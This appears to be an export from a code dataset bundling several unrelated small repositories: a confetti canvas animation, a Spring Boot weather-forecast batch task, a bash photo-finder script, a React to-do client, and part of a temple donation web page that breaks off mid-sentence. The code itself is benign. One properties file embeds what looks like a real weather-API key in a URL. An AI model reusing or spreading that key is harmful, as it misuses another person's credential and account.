branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/gh-pages
<file_sep># Confetti animation Another confetti-like animation! online version https://vldvel.github.io/Confetti-animation/ <file_sep>var burst; function Burst() { this.x = random(width/5, width/1.2); this.y = random(height/5, height/1.2); this.amount = random(50, 100); this.create = function() { for (var i = 0; i < this.amount; i++) { fireball.push(new Fireball(this.x, this.y)); } } this.show = function() { for (var i = 0; i < this.amount; i++) { fireball[i].show(); fireball[i].move(); fireball[i].erase(this.x, this.y); } } }<file_sep>var fireball = []; function Fireball(x, y) { this.x = x; this.y = y; this.speedX = random(-10, 10); this.speedY = random(-15, 3); this.acc = 0.1; this.grav = 0.1; this.diam = 30; this.vel = 1.05; this.rc = random(50, 200); this.gc = random(50, 200); this.bc = random(50, 200); this.show = function() { fill(this.rc, this.gc + this.speedY*2, this.bc + this.speedX*3); ellipse(this.x, this.y, this.diam, this.diam); } this.move = function() { this.x += this.speedX; this.y += this.speedY; if (this.speedX > 0.1) { this.speedX -= this.acc; } else if (this.speedX < - 0.1) { this.speedX += this.acc; } if (this.speedY > 0.1) { this.speedY -= this.acc; } else if (this.speedY < - 0.1) { this.speedY += this.acc; } this.speedY += this.grav; this.grav *= this.vel; } this.erase = function(x, y) { this.diam -= 0.15; if (this.diam <= 0 || this.y - this.diam/2 > height) { this.x = x; this.y = y; this.speedX = random(-10, 10); this.speedY = random(-15, 3); this.acc = 0.1; this.grav = 0.1; this.diam = 30; this.vel = 1.05; this.bc = random(50, 200); } } }<file_sep>function setup() { createCanvas(windowWidth, windowHeight); noStroke(); burst = new Burst(); burst.create(); } function draw() { background(30); burst.show(); } function mouseMoved() { burst.x = mouseX; burst.y = mouseY; }
46f539829f16e14bcb19aebd0fee0a34f67fe329
[ "Markdown", "JavaScript" ]
4
Markdown
vldvel/Confetti-animation
15137b4a775d470f81113ce0c23cb7f21b38edfb
0271535781fca9962aa05cd81f21b9765a6c7327
refs/heads/master
<repo_name>lcg-cts/thingsboard-batches<file_sep>/src/main/resources/application.properties api.weather.url=https://api.darksky.net/forecast/fc153fe0623d951ac7eb21e8ee32c438/49.2494025,11.2465703,17?exclude=hourly,currently&lang=de api.weather.target.path=weatherforecast/ <file_sep>/src/main/java/org/srs/thingsboard/providers/batches/scheduling/tasks/ScheduledTask.java package org.srs.thingsboard.providers.batches.scheduling.tasks; public interface ScheduledTask { void execute(); } <file_sep>/src/main/java/org/srs/thingsboard/providers/batches/scheduling/tasks/weather/BaseRestToFileTask.java package org.srs.thingsboard.providers.batches.scheduling.tasks.weather; import lombok.extern.slf4j.Slf4j; import org.springframework.batch.item.ItemWriter; import org.springframework.lang.NonNull; import org.springframework.web.client.RestOperations; import org.srs.thingsboard.providers.batches.scheduling.tasks.ScheduledTask; import java.util.List; @Slf4j public abstract class BaseRestToFileTask<Entity> implements ScheduledTask { private final String apiurl; private final String targetPath; private final RestOperations template; protected BaseRestToFileTask(@NonNull String apiurl, @NonNull String targetPath, @NonNull RestOperations template) { this.apiurl = apiurl; this.targetPath = targetPath; this.template = template; } @Override public void execute() { List<Entity> datas = callRestApi(apiurl, template); if (datas.size() > 0) { ItemWriter<Entity> writer = createWriter(targetPath); try { writer.write(datas); } catch (Exception e) { log.error("Can not write to path", e); } } } protected abstract List<Entity> callRestApi(String apiurl, RestOperations template); protected abstract ItemWriter<Entity> createWriter(String path); } <file_sep>/src/main/java/org/srs/thingsboard/providers/batches/scheduling/ScheduledTasks.java package org.srs.thingsboard.providers.batches.scheduling; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.core.env.Environment; import org.springframework.scheduling.annotation.Scheduled; import org.springframework.stereotype.Component; import org.springframework.web.client.RestTemplate; import org.srs.thingsboard.providers.batches.scheduling.tasks.ScheduledTask; import org.srs.thingsboard.providers.batches.scheduling.tasks.weather.WeatherTask; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.util.concurrent.TimeUnit; /** * Created by rajeevkumarsingh on 02/08/17. */ @Component @Slf4j public class ScheduledTasks { private static final DateTimeFormatter dateTimeFormatter = DateTimeFormatter.ofPattern("HH:mm:ss"); @Autowired private Environment environment; @Autowired private RestTemplate restTemplate; //@Scheduled(fixedRate = 2000) public void scheduleTaskWithFixedRate() { log.info("Fixed Rate Task :: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now())); } //@Scheduled(fixedDelay = 2000) public void scheduleTaskWithFixedDelay() { log.info("Fixed Delay Task :: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now())); try { TimeUnit.SECONDS.sleep(5); } catch (InterruptedException ex) { log.error("Ran into an error {}", ex); throw new IllegalStateException(ex); } } @Scheduled(fixedRate = 2000, initialDelay = 5000) public void scheduleTaskWithInitialDelay() { var task = createWeatherTask(); task.execute(); } private ScheduledTask createWeatherTask() { return new WeatherTask(environment.getProperty("api.weather.url"), environment.getProperty("api.weather.target.path"), restTemplate); } //@Scheduled(cron = "0 * * * * ?") public void scheduleTaskWithCronExpression() { log.info("Cron Task :: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now())); } } <file_sep>/src/main/java/org/srs/thingsboard/providers/batches/scheduling/tasks/weather/WeatherTask.java package org.srs.thingsboard.providers.batches.scheduling.tasks.weather; import lombok.extern.slf4j.Slf4j; import org.springframework.batch.item.ItemWriter; import org.springframework.batch.item.json.JacksonJsonObjectMarshaller; import org.springframework.batch.item.json.JsonFileItemWriter; import org.springframework.core.io.FileSystemResource; import org.springframework.web.client.RestOperations; import java.util.List; @Slf4j public class WeatherTask extends BaseRestToFileTask<WeatherData> { public WeatherTask(String apiurl, String targetPath, RestOperations template) { super(apiurl, targetPath, template); } @Override protected List<WeatherData> callRestApi(String apiurl, RestOperations template) { log.info("Calling weatherforecast-service at {}", apiurl); WeatherReport response = template.getForObject(apiurl, WeatherReport.class); log.info("response is from weatherforecast-service: {}", response); return response.getDaily().getData(); } @Override protected ItemWriter<WeatherData> createWriter(String path) { JsonFileItemWriter<WeatherData> writer = new JsonFileItemWriter<>(new FileSystemResource(path), new JacksonJsonObjectMarshaller<>()); writer.setAppendAllowed(true); return writer; } } <file_sep>/src/main/java/org/srs/thingsboard/providers/batches/scheduling/tasks/weather/WeatherData.java package org.srs.thingsboard.providers.batches.scheduling.tasks.weather; import com.fasterxml.jackson.annotation.JsonAutoDetect; import lombok.Data; @Data @JsonAutoDetect public class WeatherData { private String temperatureMinTime; private String sunsetTime; private String summary; private String precipIntensityMaxTime; private String temperatureHighError; private String temperatureLowTime; private String temperatureHighTime; private String temperatureLow; private String precipIntensity; private String precipIntensityMax; private String time; private String pressureError; private String apparentTemperatureMaxTime; private String precipIntensityMaxError; private String temperatureMaxError; private String uvIndex; private String apparentTemperatureHighTime; private String temperatureHigh; private String precipIntensityError; private String precipAccumulation; private String icon; private String apparentTemperatureLowTime; private String temperatureMaxTime; private String pressure; private String cloudCover; private String apparentTemperatureMinTime; private String temperatureMin; private String precipType; private String apparentTemperatureLow; private String dewPoint; private String sunriseTime; private String windSpeed; private String humidity; private String apparentTemperatureMax; private String windBearing; private String moonPhase; private String precipProbability; private String apparentTemperatureMin; private String uvIndexTime; private String temperatureMax; private String apparentTemperatureHigh; /* public String getTemperatureMinTime () { return temperatureMinTime; } public void setTemperatureMinTime (String temperatureMinTime) { this.temperatureMinTime = temperatureMinTime; } public String getSunsetTime () { return sunsetTime; } public void setSunsetTime (String sunsetTime) { this.sunsetTime = sunsetTime; } public String getSummary () { return summary; } public void setSummary (String summary) { this.summary = summary; } public String getPrecipIntensityMaxTime () { return precipIntensityMaxTime; } public void setPrecipIntensityMaxTime (String precipIntensityMaxTime) { this.precipIntensityMaxTime = precipIntensityMaxTime; } public String getTemperatureHighError () { return temperatureHighError; } public void setTemperatureHighError (String temperatureHighError) { this.temperatureHighError = temperatureHighError; } public String getTemperatureLowTime () { return temperatureLowTime; } public void setTemperatureLowTime (String temperatureLowTime) { this.temperatureLowTime = temperatureLowTime; } public String getTemperatureHighTime () { return temperatureHighTime; } public void setTemperatureHighTime (String temperatureHighTime) { this.temperatureHighTime = temperatureHighTime; } public String getTemperatureLow () { return temperatureLow; } public void setTemperatureLow (String temperatureLow) { this.temperatureLow = temperatureLow; } public String getPrecipIntensity () { return precipIntensity; } public void setPrecipIntensity (String precipIntensity) { this.precipIntensity = precipIntensity; } public String getPrecipIntensityMax () { return precipIntensityMax; } public void setPrecipIntensityMax (String precipIntensityMax) { this.precipIntensityMax = precipIntensityMax; } public String getTime () { return time; } public void setTime (String time) { this.time = time; } public String getPressureError () { return pressureError; } public void setPressureError (String pressureError) { this.pressureError = pressureError; } public String getApparentTemperatureMaxTime () { return apparentTemperatureMaxTime; } public void setApparentTemperatureMaxTime (String apparentTemperatureMaxTime) { this.apparentTemperatureMaxTime = apparentTemperatureMaxTime; } public String getPrecipIntensityMaxError () { return precipIntensityMaxError; } public void setPrecipIntensityMaxError (String precipIntensityMaxError) { this.precipIntensityMaxError = precipIntensityMaxError; } public String getTemperatureMaxError () { return temperatureMaxError; } public void setTemperatureMaxError (String temperatureMaxError) { this.temperatureMaxError = temperatureMaxError; } public String getUvIndex () { return uvIndex; } public void setUvIndex (String uvIndex) { this.uvIndex = uvIndex; } public String getApparentTemperatureHighTime () { return apparentTemperatureHighTime; } public void setApparentTemperatureHighTime (String apparentTemperatureHighTime) { this.apparentTemperatureHighTime = apparentTemperatureHighTime; } public String getTemperatureHigh () { return temperatureHigh; } public void setTemperatureHigh (String temperatureHigh) { this.temperatureHigh = temperatureHigh; } public String getPrecipIntensityError () { return precipIntensityError; } public void setPrecipIntensityError (String precipIntensityError) { this.precipIntensityError = precipIntensityError; } public String getPrecipAccumulation () { return precipAccumulation; } public void setPrecipAccumulation (String precipAccumulation) { this.precipAccumulation = precipAccumulation; } public String getIcon () { return icon; } public void setIcon (String icon) { this.icon = icon; } public String getApparentTemperatureLowTime () { return apparentTemperatureLowTime; } public void setApparentTemperatureLowTime (String apparentTemperatureLowTime) { this.apparentTemperatureLowTime = apparentTemperatureLowTime; } public String getTemperatureMaxTime () { return temperatureMaxTime; } public void setTemperatureMaxTime (String temperatureMaxTime) { this.temperatureMaxTime = temperatureMaxTime; } public String getPressure () { return pressure; } public void setPressure (String pressure) { this.pressure = pressure; } public String getCloudCover () { return cloudCover; } public void setCloudCover (String cloudCover) { this.cloudCover = cloudCover; } public String getApparentTemperatureMinTime () { return apparentTemperatureMinTime; } public void setApparentTemperatureMinTime (String apparentTemperatureMinTime) { this.apparentTemperatureMinTime = apparentTemperatureMinTime; } public String getTemperatureMin () { return temperatureMin; } public void setTemperatureMin (String temperatureMin) { this.temperatureMin = temperatureMin; } public String getPrecipType () { return precipType; } public void setPrecipType (String precipType) { this.precipType = precipType; } public String getApparentTemperatureLow () { return apparentTemperatureLow; } public void setApparentTemperatureLow (String apparentTemperatureLow) { this.apparentTemperatureLow = apparentTemperatureLow; } public String getDewPoint () { return dewPoint; } public void setDewPoint (String dewPoint) { this.dewPoint = dewPoint; } public String getSunriseTime () { return sunriseTime; } public void setSunriseTime (String sunriseTime) { this.sunriseTime = sunriseTime; } public String getWindSpeed () { return windSpeed; } public void setWindSpeed (String windSpeed) { this.windSpeed = windSpeed; } public String getHumidity () { return humidity; } public void setHumidity (String humidity) { this.humidity = humidity; } public String getApparentTemperatureMax () { return apparentTemperatureMax; } public void setApparentTemperatureMax (String apparentTemperatureMax) { this.apparentTemperatureMax = apparentTemperatureMax; } public String getWindBearing () { return windBearing; } public void setWindBearing (String windBearing) { this.windBearing = windBearing; } public String getMoonPhase () { return moonPhase; } public void setMoonPhase (String moonPhase) { this.moonPhase = moonPhase; } public String getPrecipProbability () { return precipProbability; } public void setPrecipProbability (String precipProbability) { this.precipProbability = precipProbability; } public String getApparentTemperatureMin () { return apparentTemperatureMin; } public void setApparentTemperatureMin (String apparentTemperatureMin) { this.apparentTemperatureMin = apparentTemperatureMin; } public String getUvIndexTime () { return uvIndexTime; } public void setUvIndexTime (String uvIndexTime) { this.uvIndexTime = uvIndexTime; } public String getTemperatureMax () { return temperatureMax; } public void setTemperatureMax (String temperatureMax) { this.temperatureMax = temperatureMax; } public String getApparentTemperatureHigh () { return apparentTemperatureHigh; } public void setApparentTemperatureHigh (String apparentTemperatureHigh) { this.apparentTemperatureHigh = apparentTemperatureHigh; } */ } <file_sep>/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.srs.thingsboard</groupId> <artifactId>providers.batches</artifactId> <version>0.0.1-SNAPSHOT</version> <packaging>jar</packaging> <name>providers-batches</name> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>LATEST</version> <relativePath/> <!-- lookup parent from repository --> </parent> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.1.3.RELEASE</version> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.18.4</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>5.1.3.RELEASE</version> </dependency> <dependency> <groupId>org.springframework.batch</groupId> <artifactId>spring-batch-core</artifactId> <version>4.1.0.RELEASE</version> </dependency> <!-- https://mvnrepository.com/artifact/org.sonarsource.scanner.maven/sonar-maven-plugin --> <dependency> <groupId>org.sonarsource.scanner.maven</groupId> <artifactId>sonar-maven-plugin</artifactId> <version>3.5.0.1254</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.0</version> <configuration> <source>11</source> <target>11</target> </configuration> </plugin> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> <sourceDirectory>src/main/java</sourceDirectory> <directory>target</directory> <outputDirectory>target/generated-sources</outputDirectory> <testOutputDirectory>target/generated-test-sources</testOutputDirectory> <testSourceDirectory>src/test/java</testSourceDirectory> <resources> <resource> <directory>src/main/resources</directory> </resource> </resources> <testResources> <testResource> <directory>src/test/resources</directory> </testResource> </testResources> <scriptSourceDirectory>scripts</scriptSourceDirectory> </build> <scm> <connection>github</connection> <url>https://github.com/ChrisKeck/thingsboard-batches.git</url> </scm> <profiles> <profile> <id>run-sonar</id> <build> <plugins> <plugin> <groupId>org.sonarsource.scanner.maven</groupId> <artifactId>sonar-maven-plugin</artifactId> <version>3.3.0.603</version> <executions> <execution> <inherited>true</inherited> <phase>verify</phase> <goals> <goal>sonar</goal> </goals> </execution> </executions> </plugin> <plugin> <groupId>org.jacoco</groupId> <artifactId>jacoco-maven-plugin</artifactId> <version>0.7.9</version> <configuration> <append>true</append> </configuration> <executions> <execution> <id>prepare-agent</id> <goals> <goal>prepare-agent</goal> </goals> </execution> <execution> <id>prepare-agent-integration</id> <goals> <goal>prepare-agent-integration</goal> </goals> </execution> <execution> <id>jacoco-site</id> <phase>verify</phase> <goals> <goal>report</goal> </goals> </execution> </executions> </plugin> </plugins> </build> </profile> </profiles> </project>
3cf68e0db52a1a0e82e59b85bd7186157352e41e
[ "Java", "Maven POM", "INI" ]
7
INI
lcg-cts/thingsboard-batches
3b218ea27afe12bae3580d13d0a51c81b59058d6
4d48ddc717d0f428e5b650def6d571d0971b0054
refs/heads/master
<file_sep>#!/bin/bash # Photo types PHOTO_TYPES=("Capture" "capture" "Select" "select" "Edit" "edit" "Final" "final") # Checks if the provided path is a photo type path (i.e. it is a photo that # should be opened) # # $1 -> provided path function isPhotoTypePath() { for i in "${PHOTO_TYPES[@]}" do # Check if the provided path contains a photo type if [[ "$1" =~ .*"$i".* ]] then true return fi done false } # Given a provided path, identify the photo type that the path is associated # with # # $1 -> provided path # # photoType -> identified photo type function whichPhotoType() { for i in "${PHOTO_TYPES[@]}" do if [[ "$1" =~ .*"$i".* ]] then photoType=$i return fi done echo "Could not identify photo type from path" exit 1 } # Handle options while getopts ":h" opt; do case ${opt} in h ) # process option h echo "Usage:" echo " find-photos [-h] <photo file path in /Volumes>" echo echo "On a Mac: Assuming you have a file open in Preview and you would like to open the related files. First, go to the top of Preview, command + click the file path, click on the folder, which will bring up the folder in Finder. In Finder, right click the file, hold option, click \"Copy \"...\" as Pathname\", which will copy the file path into your clipboard. Run the program which will open up the related files: ./find-photos.sh <FILE PATH> Then you can command + click the file path of the Preview windows, click on the folders, then import them into Photos. " exit 0 ;; \? ) echo "Invalid Option: -$OPTARG" 1>&2 exit 1 ;; esac done # Remove options that have been handled by getOpts shift $((OPTIND -1)) # Check if a photo file path is provided if [ $# -eq 0 ] then echo "No photo file path provided" exit 1 fi providedPath=$1 # Check if the provided path is a photo type path if ! isPhotoTypePath "$providedPath" then echo "Please provide a path that contains: \"Capture\", \"Select\", \"Edit\", or \"Final\"" exit 1 fi whichPhotoType "$providedPath" # Extract the folder path that contains the photo type folders # i.e. /Volumes/photo-album1/Captured/my-photo1.jpg -> /Volumes/photo-album1/ folderPath=${providedPath%$photoType*} fileName=${providedPath#*$photoType/} # Source: https://www.unix.com/shell-programming-and-scripting/206765-how-select-first-two-directory-path-name.html volumeName=$(echo "$providedPath" | sed -n 's:^\(/[^/]\{1,\}/[^/]\{1,\}\).*:\1:p') # Loop through matching file name in /Volumes find "$volumeName" -name "$fileName" -print0 | while read -d $'\0' file # find /Volumes -name $1 | while read file do # find may provide invalid paths if ! [[ $file =~ "find:".* || $file =~ .*"Operation not permitted" ]] then # Open files that have the same beginning folder path # Photo files may have the same name (which is often a sequential ID) if [[ $file =~ "$folderPath".* ]] then echo opening "$file" open "$file" fi fi done # ===== Extraneous code ===== # # Given a check function and an array, identify the array index such that # # the check function returns true # # # # $1 -> check function # # $@ -> array # function whichArrayIndex() { # result=-1 # # Extract check function and array # f=$1 # shift # arr=("$@") # # Loop through array # for i in "${arr[@]}"; # do # # Run check function on element # if [[ $f $i ]] # then # result=$i # fi # done # echo $result # }<file_sep># dds-photo-finder A script to help my dad open up photo files based on how he likes to store his photos. He stores his photos in `/Volumes` and in different folders corresponding to different uses. * `Capture/`: raw photo * `Select/`: desirable photos * `Edit/`: edited photos * `Final/`: presentable photos For example, he may have files in: ``` /Volumes/photo-album1/Captured/my-photo1.jpg /Volumes/photo-album1/Select/my-photo1.jpg /Volumes/photo-album1/Edit/my-photo1.jpg /Volumes/photo-album1/Final/my-photo1.jpg /Volumes/photo-album2/Captured/my-photo1.jpg /Volumes/photo-album2/Captured/my-photo2.jpg /Volumes/photo-album2/Captured/my-photo3.jpg /Volumes/photo-album2/Select/my-photo2.jpg /Volumes/photo-album2/Select/my-photo3.jpg /Volumes/photo-album2/Edit/my-photo3.jpg ``` ### Usage ``` find-photos [-h] <photo file path in /Volumes> ``` *** On a Mac: Assuming you have a file open in Preview and you would like to open the related files. First, go to the top of Preview, command + click the file path, click on the folder, which will bring up the folder in Finder. In Finder, right click the file, hold option, click "Copy "..." as Pathname", which will copy the file path into your clipboard. Run the program which will open up the related files: ``` ./find-photos.sh <FILE PATH> ``` Then you can command + click the file path of the Preview windows, click on the folders, then import them into Photos.
0ed26d4bb49be2c92bc4f83570db9eefca4012b2
[ "Markdown", "Shell" ]
2
Shell
Alan-Cha/dds-photo-finder
6b904a8af3debb92387b6c3233091553d21056a2
2449823a4a9ea05581be04d7ca8cfa14852a099e
refs/heads/master
<file_sep># yank-ring.kak The [Kill Ring] for [Kakoune]. ## Dependencies - [connect.kak] - [fzf] - [jq] ## Installation Add [`yank-ring.kak`](rc/yank-ring.kak) to your autoload or source it manually. ## Usage Restore a previous yank with `yank-ring` (or its alias `y`) or `yank-ring-load-from-file`. Registers are saved with the `yank-ring-save-values` command and stored in a directory, in `.reg` files, accessible via the `yank_ring_path` option, which defaults to `$XDG_DATA_HOME/kak/yank-ring`. The `.reg` files can be deleted with `yank-ring-clear` and `yank-ring-clear-older-than-n-days`. **Note**: `XDG_DATA_HOME` defaults to `~/.local/share`. ## Configuration ``` kak map global normal Y ': yank-ring<ret>' ``` [Kill Ring]: https://gnu.org/software/emacs/manual/html_node/emacs/Kill-Ring.html [Kakoune]: https://kakoune.org [connect.kak]: https://github.com/alexherbo2/connect.kak [fzf]: https://github.com/junegunn/fzf [jq]: https://stedolan.github.io/jq/ <file_sep>#!/bin/sh quoted_register=$(cat "$1") eval "set -- $quoted_register" jq --null-input '$ARGS.positional' --args -- "$@"
d6173342cdd4af3b0b79906f17d282badc5bb81d
[ "Markdown", "Shell" ]
2
Markdown
alexherbo2/yank-ring.kak
e7e4941f712e9f161900e9332c9dd03309e6d7df
ae1c84ad0d94cac59ebf1252e880f6a6173f0479
refs/heads/master
<file_sep>import React, { Component } from "react"; import "./App.css"; import Header from "./Header"; import NoTasks from "./NoTasks"; import Tasks from "./Tasks"; import NewTask from "./NewTask"; const url = window.location.protocol + "//" + window.location.hostname + ":8080/tasks"; class App extends Component { constructor(props) { super(props); this.state = {}; } componentDidMount = () => this.reloadTasks(); addNewTaskThenRefresh = description => addNewTask(description).then(this.addTaskToState); completeTaskThenRefresh = id => completeTask(id).then(this.updateTaskInState); uncompleteTaskThenRefresh = id => uncompleteTask(id).then(this.updateTaskInState); archiveTaskThenRefresh = id => archiveTask(id).then(this.updateTaskInState); addTaskToState = addedTask => this.setState(previousState => ({ tasks: [...previousState.tasks, addedTask] })); updateTaskInState = updatedTask => this.setState(previousState => { const previousTasksList = previousState.tasks; const indexOfTask = previousTasksList.findIndex(task => task.id === updatedTask.id); return { tasks: [ ...previousTasksList.slice(0, indexOfTask), updatedTask, ...previousTasksList.slice(indexOfTask + 1) ] }; }); reloadTasks = () => loadTasks().then(this.displayLoadedTasks); displayLoadedTasks = loadedTasks => this.setState({ tasks: loadedTasks }); render = () => { const tasksList = this.state.tasks === undefined ? ( <NoTasks /> ) : ( <Tasks tasks={this.state.tasks} completeAction={this.completeTaskThenRefresh} uncompleteAction={this.uncompleteTaskThenRefresh} archiveAction={this.archiveTaskThenRefresh} /> ); return ( <div> <Header /> <NewTask clickAction={this.addNewTaskThenRefresh} /> {tasksList} </div> ); }; } const loadTasks = () => get(url, () => "Error fetching tasks"); const addNewTask = description => post(url, () => "Error adding new task", { description: description }); const completeTask = id => patch(`${url}/${id}`, () => `Error completing task ${id}`, { completed: true }); const uncompleteTask = id => patch(`${url}/${id}`, () => `Error uncompleting task ${id}`, { completed: false }); const archiveTask = id => patch(`${url}/${id}`, () => `Error archiving task ${id}`, { archived: true }); const get = (url, ifError) => request(url, ifError); const post = (url, ifError, requestBody) => request(url, ifError, "POST", requestBody); const patch = (url, ifError, requestBody) => request(url, ifError, "PATCH", requestBody); const request = (url, ifError, method = "GET", requestBody = undefined) => { const hasRequestBody = requestBody !== undefined && requestBody !== null; const init = hasRequestBody ? { headers: { Accept: "application/json", "Content-Type": "application/json" }, method: method, body: JSON.stringify(requestBody) } : { headers: { Accept: "application/json" }, method: method }; return fetch(url, init) .then(response => { if (response.ok) { return response.json(); } else { throw new Error(ifError()); } }) .catch(error => console.log(error)); }; export default App; <file_sep>import React from "react"; export default () => <div>Not loaded tasks yet</div>;<file_sep>import React from "react"; import "./Header.css"; // eslint-disable-next-line const headerText = "//TO" + "DO:"; // deliberately split so Webstorm doesn't think this is an actual to do item. meta. export default () => <h1 className="header">{headerText}</h1>; <file_sep>import React from "react"; import "./Task.css"; import { SuccessButton, DangerButton, DummyButton } from "./IconButtons"; import FontAwesome from "react-fontawesome"; const UncompleteButton = ({ uncompleteAction }) => ( <SuccessButton action={uncompleteAction} icon={<FontAwesome name="undo" />}> Uncomplete task </SuccessButton> ); const ArchiveButton = ({ archiveAction }) => ( <DangerButton action={archiveAction} icon={<FontAwesome name="archive" />}> Archive task </DangerButton> ); const CompleteButton = ({ completeAction }) => ( <SuccessButton action={completeAction} icon={<FontAwesome name="check" />}> Complete task </SuccessButton> ); const TaskActions = ({ isArchived, isCompleted, uncompleteAction, completeAction, archiveAction }) => isArchived ? ( <span className="showOnMouseover"> <DummyButton /> </span> ) : isCompleted ? ( <span className="showOnMouseover"> <UncompleteButton uncompleteAction={uncompleteAction} /> <ArchiveButton archiveAction={archiveAction} /> </span> ) : ( <span className="showOnMouseover"> <CompleteButton completeAction={completeAction} /> </span> ); const Task = ({ task, completeAction, uncompleteAction, archiveAction }) => { const className = task.archived ? "archivedTask" : task.completed ? "completedTask" : "uncompletedTask"; return ( <li className={className}> <span className="taskDescription">{task.description}</span> <TaskActions isArchived={task.archived} isCompleted={task.completed} uncompleteAction={uncompleteAction} completeAction={completeAction} archiveAction={archiveAction} /> </li> ); }; export default ({ tasks, completeAction, uncompleteAction, archiveAction }) => ( <div> <ul> {tasks.map(task => ( <Task key={task.id} task={task.task} completeAction={() => completeAction(task.id)} uncompleteAction={() => uncompleteAction(task.id)} archiveAction={() => archiveAction(task.id)} /> ))} </ul> </div> );
8c2e7b70ba8690164f813af2938abcde758f7edf
[ "JavaScript" ]
4
JavaScript
wellingtonsteve/t3frontend
f3fdedcb36dead9056752419d9ccfc9a89476f04
91984d381dcf1cd5abff92488552c00564d75896
refs/heads/master
<repo_name>a9magic/iskconcolumbus-old<file_sep>/app/partials/donate/tithe.html <div class="row"> <div class="col-lg-12"> <h1 class="page-header">Tithe - Support Monthly</h1> </div> <!-- /.col-lg-12 --> </div> <!-- /.row --> <div class="row"> <div class="col-lg-12"> <div class="panel panel-default"> <div class="panel-heading"> <h3>Join our tithing family:</h3> </div> <div class="panel-body"> <div style="margin-top: 2%; font-size: 110%;"> <img class="tithe-img" align="left" src="images/radha-natabara/IMG_1468.JPG"> A temple needs the support of its congregation to remain solvent and stable and to provide services for the community on a regular basis. Tithing, the regular commitment of a monthly donation to support the functioning of our temple, defines your relationship with Krishna. 95% of our community does not have time on a daily basis to offer physical service at the temple. But you can still be a direct part of the seva here by supporting these activities through financial contributions. </div> <h1> <NAME> says it best in a Bhagavad-gita purport: </h1> <hr> <blockquote> <h4>"One should be sympathetic to the propagation of Krishna consciousness. There are many devotees who are engaged in the propagation of Krishna consciousness, and they require help. So, even if one cannot directly practice the regulative principles of bhakti-yoga, he can try to help such work. Every endeavor requires land, capital, organization, and labor. Just as, in business, one requires a place to stay, some capital to use, some labor, and some organization to expand, so the same is required in the service of Krishna. The only difference is that in materialism one works for sense gratification. The same work, however, can be performed for the satisfaction of Krishna, and that is spiritual activity. If one has sufficient money, he can help in building an office or temple for propagating Krishna consciousness. Or he can help with publications. There are various fields of activity, and one should be interested in such activities. If one cannot sacrifice the results of such activities, the same person can still sacrifice some percentage to propagate Krishna consciousness. This voluntary service to the cause of Krishna consciousness will help one to rise to a higher state of love for God, whereupon one becomes perfect." - <i>Bhagavad-gita As It Is, Chapter 12, Verse 10, Purport </i></h4> </blockquote> <hr> <p>Receive Lord Krishna's blessings by sharing a portion of your income. Krishna reciprocates with those who surrenders to Him. No amount is insignificant, everything helps.</p> <h2>Principle Reasons to Tithe:</h2> <ul class="list-group"> <li class="list-group-item list-group-item-success"> Support Temple services - prasadam distribution, Deity worship, book distribution, classes, gardens, cow protection, and preaching </li> <li class="list-group-item list-group-item-info"> Assist the Temple to reach out to our congregation of devotees. </li> <li class="list-group-item list-group-item-warning"> Take a step towards selfless service by practicing generosity. </li> <li class="list-group-item list-group-item-danger"> Set a good example to your children and fellow devotees. </li> <li class="list-group-item list-group-item-success"> Know you are pleasing Srila Prabhupada, Sri Sri Gaura Nitai, Sri Sri Radha Syamasundara, and Sri Sri Krishna Balarama. </li> </ul> <hr> <h3>Remember that 365 days a year our ISKCON Temple maintains </h3> <ul class="list-unstyled" style="margin-left: 2%; letter-spacing: 3px;"> <ul> <li>Breathtaking Daily viewings (darshans) of Sri Sri Radha Shyamasundar, Sri Sri Krishna-Balarama and Sri Sri Gaura Nitai including gorgeous dresses and jewelry. </li> <li>Daily Srimad Bhagavatam classes.</li> <li>Daily breakfast and lunch prasadam.</li> <li>Prasadam distribution at OSU Campus and Sunday Feasts.</li> <li>Maintenence of Srimati Tulasi devi for the pleasure of Sri Krishna.</li> <li>Organic gardens for the pleasure of the Deities and community.</li> <li>Many annual festivals, weekly Harinama Sankirtan and transcedental book distribution.</li> <li>AND MUCH MORE...</li> </ul> </ul> <hr> <h2>How to Setuo Tithe </h2> <strike>Add "Monthly subscription" Paypal widget here</strike> <form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_blank"> <input type="hidden" name="cmd" value="_s-xclick"> <input type="hidden" name="hosted_button_id" value="K94FLQYGZG3W2"> <input type="image" src="https://www.paypalobjects.com/WEBSCR-640-20110429-1/en_US/i/btn/btn_donateCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> <img alt="" border="0" src="https://www.paypalobjects.com/WEBSCR-640-20110429-1/en_US/i/scr/pixel.gif" width="1" height="1"> </form> <hr> <h5><strong>Automatic deduction (we set it up):</strong> Automatically have your <strong>credit card</strong> or <strong>bank account </strong>charged through our secure system. You can 